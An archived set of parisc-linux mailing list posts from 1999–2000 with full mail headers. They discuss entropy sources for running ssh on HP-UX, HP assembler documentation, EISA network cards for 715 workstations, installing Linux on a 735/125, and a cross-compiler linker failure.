X-Trace: ger.gmane.org 1416618940 446 80.91.229.3 (22 Nov 2014 01:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Peter A. Peterson II" <pedro@flynn.zork.net>
Original-X-From: sandy@storm.ca  Mon May 29 04:25:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA06079
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 04:25:06 -0600
Original-Received: (qmail 8798 invoked by uid 15267); 29 May 2000 10:25:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8789 invoked from network); 29 May 2000 10:25:31 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.239.69)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 10:25:31 -0000
Original-Received: from storm.ca (ppp004.ottawa.storm.ca [209.87.238.4])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id GAA21540;
	Mon, 29 May 2000 06:24:32 -0400 (EDT)
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:7362

"Peter A. Peterson II" wrote:
> 
> I'm awaiting the day when I can fool around with Linux on my E-45, but
> in the meantime, I'm trying to use it's tape drive to back up my
> traditional Linux boxen via piping a tarball through ssh.  However, ssh
> needs a random generator (like /dev/urandom/) and I don't know what an
> HP-UX equivalent might be, or how to go about installing one.
> 
Since you want to use it for crypto, this is a fairly difficult
problem. The numbers don't just need to have a nice distribution;
they have to be highly unpredictable, even to the cleverest, most
persistent and best-equipped opponent you might encounter.

The standard reference is RFC 1750.

A page with quite a lot of discussion of Linux /dev/random is at:
http://www.openpgp.net/random/index.html
There's a bunch more in Linux kernel mailing list archives.

Bruce Schneier and a few others have done quite a bit of research on
weaknesses of random number generators and  designed a generator called
Yarrow. Source (Windows only last I looked) is freely available from
counterpane.com.


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Fri, 19 Mar 1999 01:10:39 -0500
Organization: mozilla.org diplomatic corps
Lines: 22
Approved: news@gmane.org
Message-ID: <36F1EA5F.C9ED34D7@netscape.com>
References: <199903190135.RAA15176@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618941 451 80.91.229.3 (22 Nov 2014 01:15:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:41 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Fri Mar 19 01:09:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA09873
	for <hppa-linux@sod.res.cmu.edu>; Fri, 19 Mar 1999 01:09:27 -0500
Original-Received: (qmail 1092 invoked by uid 15267); 19 Mar 1999 06:08:47 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 1085 invoked from network); 19 Mar 1999 06:08:46 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 19 Mar 1999 06:08:46 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id WAA14193
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 22:08:57 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8TVR100.H5M for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar
          1999 22:09:01 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7363

Cary Coutant wrote:
> The 32-bit syscall convention is documented in (of all places) the
> Assembler manual; the 64-bit convention is documented in the PA-64
> runtime supplement (program startup chapter). These documents are
> available from
> 
>     http://www.software.hp.com/STK

When I click on
http://docs.hp.com:80/dynaweb/hpux11/dtdcen1a/b541/@Generic__BookView
(the Assembler Reference Manual from
http://www.software.hp.com/STK/toc.html#Assembly ) I get an error:

No item b541 exists in collection dtdcen1a (fbebtcol.cc:1120)

Is there another place to find it?

Mike

-- 
399279.02 342330.84


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 10/100 nic for 715 systems ?
Date: Mon, 29 May 2000 08:35:58 -0500 (CDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200005291335.IAA11105@osiris.silug.org>
References: <39322B14.309E348B@america.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618941 454 80.91.229.3 (22 Nov 2014 01:15:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ed June <buggz@america.net>
Original-X-From: steve@osiris.silug.org  Mon May 29 07:36:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA07411
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 07:36:00 -0600
Original-Received: (qmail 15990 invoked by uid 15267); 29 May 2000 13:36:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15980 invoked from network); 29 May 2000 13:36:24 -0000
Original-Received: from c459759-a.belvil1.il.home.com (HELO osiris.silug.org) (24.15.96.59)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 13:36:24 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id IAA11105;
	Mon, 29 May 2000 08:35:58 -0500
In-Reply-To: <39322B14.309E348B@america.net> "from Ed June at May 29, 2000 04:32:20
 am"
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7365

Ed June said:
> Were there ever any EISA 10/100 LAN cards for 715 systems?
> I have found straight 10's and 100's, but not a switching one.

At my previous job, I had a spare EISA 10/100 card originally out of a
B160 that I used in my 715/100.

Either the cards or HP-UX was kind of weird about switching between 10
and 100.  I think I only got that card to talk 100 with a particular
brand of switch, and that was only when I forced the switch to 100
half duplex.  (The PCI cards did the same thing, but a kernel patch
for 10.20 released late last year seemed to fix autonegotiation.)

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter A. Peterson II" <pedro@flynn.zork.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Mon, 29 May 2000 10:33:28 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20000529103328.C11779@flynn.zork.net>
References: <20000529024931.B11779@flynn.zork.net> <39324625.977B5A74@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618942 457 80.91.229.3 (22 Nov 2014 01:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:42 +0000 (UTC)
Cc: "Peter A. Peterson II" <pedro@flynn.zork.net>,
        parisc-linux@thepuffingroup.com
To: Sandy Harris <sandy@storm.ca>
Original-X-From: pedro@flynn.northpark.edu  Mon May 29 09:33:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA08262
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 09:33:06 -0600
Original-Received: (qmail 7138 invoked by uid 15267); 29 May 2000 15:33:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7127 invoked from network); 29 May 2000 15:33:31 -0000
Original-Received: from flynn.northpark.edu (206.68.40.29)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 15:33:31 -0000
Original-Received: from pedro by flynn.northpark.edu with local (Exim 3.12 #1 (Debian))
	id 12wRXk-0003TM-00; Mon, 29 May 2000 10:33:28 -0500
Mail-Followup-To: Sandy Harris <sandy@storm.ca>,
	parisc-linux@thepuffingroup.com
User-Agent: Mutt/1.0.1i
In-Reply-To: <39324625.977B5A74@storm.ca>; from sandy@storm.ca on Mon, May 29, 2000 at 06:27:49AM -0400
X-pw: reindeer flotilla
X-Breakfast-Special: Eggs=scrambled_hard; Toast=rye
Original-Sender: "Peter A. Peterson II" <pedro@flynn.northpark.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7366

Quoting Sandy Harris:
> "Peter A. Peterson II" wrote:
> Since you want to use it for crypto, this is a fairly difficult
> problem. The numbers don't just need to have a nice distribution;
> they have to be highly unpredictable, even to the cleverest, most
> persistent and best-equipped opponent you might encounter.

This is quite true... but for now, I'd settle on making ssh work,
since there is nothing of great value on the HP box, I'm just looking
for a way to kludge ssh into working.

> 
> The standard reference is RFC 1750.
> 
> A page with quite a lot of discussion of Linux /dev/random is at:
> http://www.openpgp.net/random/index.html
> There's a bunch more in Linux kernel mailing list archives.
> 
> Bruce Schneier and a few others have done quite a bit of research on
> weaknesses of random number generators and  designed a generator called
> Yarrow. Source (Windows only last I looked) is freely available from
> counterpane.com.

I will look into this -- thanks.

pedro

-- 
-----------------------------------------------
      "She's laughin in her sleeve, boys;
   I can feel it in my bones."  -- Tom Waits
-----------------------------------------------


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi@hpfrcu03.france.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Mon, 29 May 2000 18:17:22 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <39329812.EB5E2AD7@hpfrcu03.france.hp.com>
References: <20000529024931.B11779@flynn.zork.net> <39324625.977B5A74@storm.ca> <20000529103328.C11779@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618942 459 80.91.229.3 (22 Nov 2014 01:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:42 +0000 (UTC)
Cc: Sandy Harris <sandy@storm.ca>, parisc-linux@thepuffingroup.com
To: "Peter A. Peterson II" <pedro@flynn.zork.net>
Original-X-From: phi@hpfrcu03.france.hp.com  Mon May 29 10:18:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08744
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 10:18:13 -0600
Original-Received: (qmail 27703 invoked by uid 15267); 29 May 2000 16:18:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27695 invoked from network); 29 May 2000 16:18:37 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 16:18:37 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 6B5886923; Mon, 29 May 2000 18:18:32 +0200 (METDST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.3 SMKit7.01) id SAA00737; Mon, 29 May 2000 18:17:23 +0200 (METDST)
Original-Sender: phi@iws1pb01.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7367

"Peter A. Peterson II" wrote:

> 
> This is quite true... but for now, I'd settle on making ssh work,
> since there is nothing of great value on the HP box, I'm just looking
> for a way to kludge ssh into working.
> 

I downloaded ssh-1.2.27 a mounth ago or so on my HP-UX box, and used it
to connect to my web provider (a linux machine), and it ran like a
champ.

So go grab it, nothing to kludge, compile/link/run.

Phi


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Tue, 30 May 2000 00:55:03 +0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20000530005500.A28121@neep.com.au>
References: <20000529024931.B11779@flynn.zork.net> <39324625.977B5A74@storm.ca> <20000529103328.C11779@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618942 462 80.91.229.3 (22 Nov 2014 01:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Mon May 29 10:54:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA09197
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 10:54:55 -0600
Original-Received: (qmail 13761 invoked by uid 15267); 29 May 2000 16:55:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13725 invoked from network); 29 May 2000 16:55:17 -0000
Original-Received: from urban.iinet.net.au (203.59.24.231)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 16:55:17 -0000
Original-Received: from muzak.iinet.net.au (muzak.iinet.net.au [203.59.24.237])
	by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id AAA24737
	for <parisc-linux@thepuffingroup.com>; Tue, 30 May 2000 00:55:12 +0800
Original-Received: from guinness.neep.com.au (reggae-20-224.nv.iinet.net.au [203.59.85.224])
	by muzak.iinet.net.au (8.8.5/8.8.5) with ESMTP id AAA06055
	for <parisc-linux@thepuffingroup.com>; Tue, 30 May 2000 00:55:10 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id AAA28235
	for parisc-linux@thepuffingroup.com; Tue, 30 May 2000 00:55:07 +0800
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20000529103328.C11779@flynn.zork.net>; from pedro@flynn.zork.net on Mon, May 29, 2000 at 10:33:28AM -0500
X-URL: http://www.neep.com.au/~andrew/
Xref: news.gmane.org gmane.linux.ports.parisc:7368

Peter A. Peterson II said:
> This is quite true... but for now, I'd settle on making ssh work,
> since there is nothing of great value on the HP box, I'm just looking
> for a way to kludge ssh into working.

I know that on Solaris a /dev/urandom device is provided by the SKI packages.
There may be an equivalent under the HPUX environment but I am not sure, I am
not very far up the HPUX guru ladder.

You might like to consider using OpenSSH if you don't have any joy with ssh.

OpenSSH can be compiled[1] without a /dev/*random device by using egd[2], the
Entropy Gathering Daemon.  OpenSSH also requires installation of zlib and
openssl though (which is just a bit more effort, but oh well).  I've not used
egd so can't comment on it, but it's probably worth a go.

Or you could just fall back on rsh.  =)

Andrew.

[1] http://www.openssh.com/portable.html
[2] http://www.lothar.com/tech/crypto/

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter A. Peterson II" <pedro@flynn.zork.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Mon, 29 May 2000 13:23:52 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20000529132352.D11779@flynn.zork.net>
References: <20000529024931.B11779@flynn.zork.net> <39324625.977B5A74@storm.ca> <20000529103328.C11779@flynn.zork.net> <20000530005500.A28121@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618943 466 80.91.229.3 (22 Nov 2014 01:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: pedro@flynn.northpark.edu  Mon May 29 12:23:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA09947
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 12:23:42 -0600
Original-Received: (qmail 24404 invoked by uid 15267); 29 May 2000 18:24:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24389 invoked from network); 29 May 2000 18:24:07 -0000
Original-Received: from flynn.northpark.edu (206.68.40.29)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 18:24:07 -0000
Original-Received: from pedro by flynn.northpark.edu with local (Exim 3.12 #1 (Debian))
	id 12wUCe-0003cW-00; Mon, 29 May 2000 13:23:52 -0500
Mail-Followup-To: Andrew Shugg <andrew@neep.com.au>,
	parisc-linux@thepuffingroup.com
User-Agent: Mutt/1.0.1i
In-Reply-To: <20000530005500.A28121@neep.com.au>; from andrew@neep.com.au on Tue, May 30, 2000 at 12:55:03AM +0800
X-pw: reindeer flotilla
X-Breakfast-Special: Eggs=scrambled_hard; Toast=rye
Original-Sender: "Peter A. Peterson II" <pedro@flynn.northpark.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7369

Quoting Andrew Shugg:
> You might like to consider using OpenSSH if you don't have any joy with ssh.
> 
> OpenSSH can be compiled[1] without a /dev/*random device by using egd[2], the
> Entropy Gathering Daemon.  OpenSSH also requires installation of zlib and
> openssl though (which is just a bit more effort, but oh well).  I've not used
> egd so can't comment on it, but it's probably worth a go.

I was incorrectly specific. I installed openssh, zlib, and ssleay
already, and in the configure process for openssh it crapped out 
looking for /dev/urandom and/or egd. I think i'll look into egd. 

Thanks all.

pedro

-- 
-----------------------------------------------
      "She's laughin in her sleeve, boys;
   I can feel it in my bones."  -- Tom Waits
-----------------------------------------------


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig Miller" <craig.miller@bigfoot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/125 Initial Installation
Date: Mon, 29 May 2000 16:04:09 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <BKEEJMAGAHBHLNNHFAGPEEDOCAAA.craig.miller@bigfoot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618943 472 80.91.229.3 (22 Nov 2014 01:15:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:43 +0000 (UTC)
To: "PARISC-L" <parisc-linux@thepuffingroup.com>
Original-X-From: craig.miller@bigfoot.com  Mon May 29 14:03:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA10964
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 14:03:04 -0600
Original-Received: (qmail 6882 invoked by uid 15267); 29 May 2000 20:03:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6875 invoked from network); 29 May 2000 20:03:29 -0000
Original-Received: from basin.spatial.maine.edu (130.111.114.20)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 20:03:29 -0000
Original-Received: from cassini (cassini.spatial.maine.edu [130.111.114.73])
	by basin.spatial.maine.edu (8.9.3/8.9.3) with SMTP id QAA15365
	for <parisc-linux@thepuffingroup.com>; Mon, 29 May 2000 16:11:29 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:7371

The website docs say this is impossible, but sometimes docs are out of date.

Is it possible to install Linux on my 735/125 in place of the HPUX install
that occupies the entire hard disk without using another linux box (NT box
is available)?

It seems that I cannot install PALO unless I have a separate Linux box, or
am installing Linux on a different disk than the one that holds HPUX now.  I
have 1 hard disk that I want to repartition, format, install PALO, and an
EXT2 filesystem with a kernel/binutils/etc on.  The 735/125 can have a 125mb
1/4" tape drive, a 4gig 4mm dat, or zip disk added to its SCSI chain if that
helps.  I have a separate NT box that can be used if helpful for
partitioning, loading files, etc but I do not have a separate x86 linux box
(And the NT box needs to as NT).

Can anyone help?

Thanks,
--Craig


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@puffin.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Foiled by the linker again
Date: Mon, 29 May 2000 15:34:00 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <m12wXAe-001VqQC@chalet>
Reply-To: bame@puffin.external.hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618944 476 80.91.229.3 (22 Nov 2014 01:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Mon May 29 15:43:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA11545
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 15:43:03 -0600
Original-Received: (qmail 18774 invoked by uid 15267); 29 May 2000 21:43:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18759 invoked from network); 29 May 2000 21:43:28 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 21:43:28 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m12wXAe-001VqQC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Mon, 29 May 2000 15:34:00 -0600 (MDT) 
Errors-To: bame@puffin.external.hp.com
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7372


Through some hacks, and special thanks to taggart for producing
header files, I built a tool chain which cross compiles all applications
I've attempted... well almost.  Anyway the good news is I have a
native binutils for palinux.  Unfortunately cross-compiling
bash, tar, and gcc all fail in the link stage with:

/home/bame/xc/bin/../lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/../../../../hppa1.1-linux/lib/libc.a(execve.o): In function `__execve':
/users/bame/palinux/glibc/posix/../sysdeps/unix/sysv/linux/execve.c:39: undefined reference to `$global$'
collect2: ld returned 1 exit status

I checked, and the absence of $global$ is a special case in the linker.  I
tried adding a file which defined $global$ by hand and that didn't help
either.

My tentative conclusion is that smaller apps link and larger ones don't --
possibly some interaction with the decision to start using %r8-based stubs
when the app gets too big.  I'm stuck.

I'll leave puffin.external.hp.com:~bame/rrtar.o around for anyone who
wants to mess with the linker.  It is the "ld -r" of all the object files
for tar.  'hppa1.1-linux-gcc -o tar rrtar.o' should create tar,
but this causes the (my) linker to fail.

The tool chain I'm using, which has some hand patches in it because I
don't really know where they belong in sources, can be rsync-ed from
puffin.external.hp.com:~bame/xc or grab the tarball
ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/elf32x86.tar.gz

In the meantime I think this is pretty cool:

    VFS: Mounted root (NFS filesystem) readonly.
    request_irq(538, c01aca7c, 0x4000000, serial, c02cf95c)
    Stand-alone shell (version 3.4)
    > ar tv /usr/lib/libcrypt.a
    rw-r--r-- 16602/100  12176 May 28 00:01 2000 crypt-entry.o
    rw-r--r-- 16602/100  29312 May 28 00:01 2000 md5-crypt.o
    rw-r--r-- 16602/100  31364 May 28 00:01 2000 md5.o
    > objdump -d /usr/lib/crti.o
										
    /usr/lib/crti.o:     file format elf32-hppa
										
    Disassembly of section .text:
    Disassembly of section .init:
										
    00000000 <_init>:
       0:   6b c2 3f d9     stw rp,-14(sr0,sp)
       4:   37 de 00 80     ldo 40(sp),sp
       8:   6b d3 3f c1     stw r19,-20(sr0,sp)
       c:   6b c4 3f 81     stw r4,-40(sr0,sp)
      10:   e8 40 00 00     b,l 18 <gcc2_compiled.+0x18>,rp
      14:   08 13 02 44     copy r19,r4
    Disassembly of section .fini:
										
    00000000 <_fini>:
       0:   6b c2 3f d9     stw rp,-14(sr0,sp)
       4:   37 de 00 80     ldo 40(sp),sp
       8:   6b d3 3f c1     stw r19,-20(sr0,sp)
       c:   6b c4 3f 81     stw r4,-40(sr0,sp)
      10:   08 13 02 44     copy r19,r4


	-Paul Bame


From - Thu Nov 08 21:12:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 10/100 nic for 715 systems ?
Date: Mon, 29 May 2000 16:59:49 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <200005292359.QAA11114@milano.cup.hp.com>
References: <39322B14.309E348B@america.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618944 478 80.91.229.3 (22 Nov 2014 01:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ed June <buggz@america.net>
Original-X-From: grundler@cup.hp.com  Mon May 29 17:58:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12602
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 17:58:28 -0600
Original-Received: (qmail 11231 invoked by uid 15267); 29 May 2000 23:58:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11222 invoked from network); 29 May 2000 23:58:53 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 23:58:53 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E71CB699; Mon, 29 May 2000 16:58:52 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id QAA11114; Mon, 29 May 2000 16:59:49 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 29 May 2000 04:32:20 PDT."
             <39322B14.309E348B@america.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:7373

Ed June wrote:
> Were there ever any EISA 10/100 LAN cards for 715 systems?
> I have found straight 10's and 100's, but not a switching one.

The "newer" 715s (64/80/100, iirc) have a GSC slot and can take
a "EISA Form Factor" 100BT card based on Tulip. This card has
the GSCtoPCI bus converter on board and the Tulip driver (btlan4)
basically only talks to the PCI device.

grant

